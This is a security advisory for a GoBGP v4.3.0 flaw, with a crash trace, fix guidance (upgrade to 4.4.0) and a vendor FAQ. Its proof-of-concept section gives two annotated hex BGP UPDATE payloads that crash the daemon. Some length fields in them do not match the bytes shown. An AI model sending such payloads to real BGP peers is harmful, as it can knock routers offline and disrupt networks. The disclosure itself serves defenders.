CVE-2026-41642

A remote Denial of Service (DoS) vulnerability exists in GoBGP due to a nil pointer dereference. When a malformed BGP UPDATE message contains an unrecognized Path Attribute marked as "Well-known," the daemon fails to interrupt the message handling flow. This results in an illegal memory access and a full process crash (panic).

Details

The vulnerability is located in the Finite State Machine (FSM) message handling loop in pkg/server/fsm.go.
According to RFC 4271, any Path Attribute with the Optional bit set to 0 is treated as "Well-known." If the Type Code is unrecognized, the BGP speaker MUST send a NOTIFICATION message.

In GoBGP v4.3.0, when such an attribute (e.g., Type 0xEE or 0xFF with flags 0x40) is received, the parsing layer identifies the error. However, the logic in recvMessageloop (around Line 1826) does not properly halt execution. It proceeds to reference the body of the parsed message. Because the message was deemed invalid during the initial attribute check, the body pointer is nil, leading to:
panic: runtime error: invalid memory address or nil pointer dereference.

This bypasses the intended error-handling mechanism and causes the entire BGP daemon to terminate, rather than just closing the affected session.

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0xc225e4]

goroutine 50 [running]:
github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x19f29bca92c0, {0x10069f0, 0x19f29bc48780}, {0x1014658, 0x19f29bc2a890}, 0x19f29baa0540, 0x19f29bc393b0, 0x19f29bc96cc0?)
        /home/base/Desktop/gobgp/pkg/server/fsm.go:1826 +0xa44
created by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37
        /home/base/Desktop/gobgp/pkg/server/fsm.go:1916 +0x2d5
exit status 2

PoC

GoBGP Version: v4.3.0
Configure GoBGP with a neighbor (e.g., 192.168.31.195) in passive mode.
Establish a standard BGP session (OPEN/KEEPALIVE exchange).
Send a specifically crafted UPDATE packet containing an unrecognized Type Code marked as "Well-known" (Optional bit = 0).
Payload 1 (Hex):

FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
00 17                # Length: 23
02                   # Type: UPDATE
00 00                # Withdrawn Routes Length: 0
00 04                # Total Path Attribute Length: 4     
40 EE 00             # Flag: 0x40 (Well-known, Transitive), Type: 0xEE (Unknown), Len: 0

Payload 2 (Hex):

FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
00 17                # Length: 23
02                   # Type: UPDATE
00 00                # Withdrawn Routes Length: 0
00 04                # Total Path Attribute Length: 4     
40 01 01 00          # IGP Attribute
40 FF 00             # Flag: 0x40 (Well-known, Transitive), Type: 0xFF (Unknown), Len: 0

This vulnerability affects all GoBGP deployments peering with external or internal speakers. A single malformed UPDATE message from any peer can trigger a nil pointer dereference, causing the GoBGP daemon to panic and crash.

The application dereferences a null pointer, causing a crash. Typical impact: denial of service via crash.

CVE-2026-41642 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.4.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-41642? CVE-2026-41642 is a high-severity null pointer dereference vulnerability in github.com/osrg/gobgp/v4 (go), affecting versions = 4.3.0. It is fixed in 4.4.0. The application dereferences a null pointer, causing a crash.
2. How severe is CVE-2026-41642? CVE-2026-41642 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/osrg/gobgp/v4 are affected by CVE-2026-41642? github.com/osrg/gobgp/v4 (go) versions = 4.3.0 is affected.
4. Is there a fix for CVE-2026-41642? Yes. CVE-2026-41642 is fixed in 4.4.0. Upgrade to this version or later.
5. Is CVE-2026-41642 exploitable, and should I be worried? Whether CVE-2026-41642 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41642 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41642? Upgrade github.com/osrg/gobgp/v4 to 4.4.0 or later.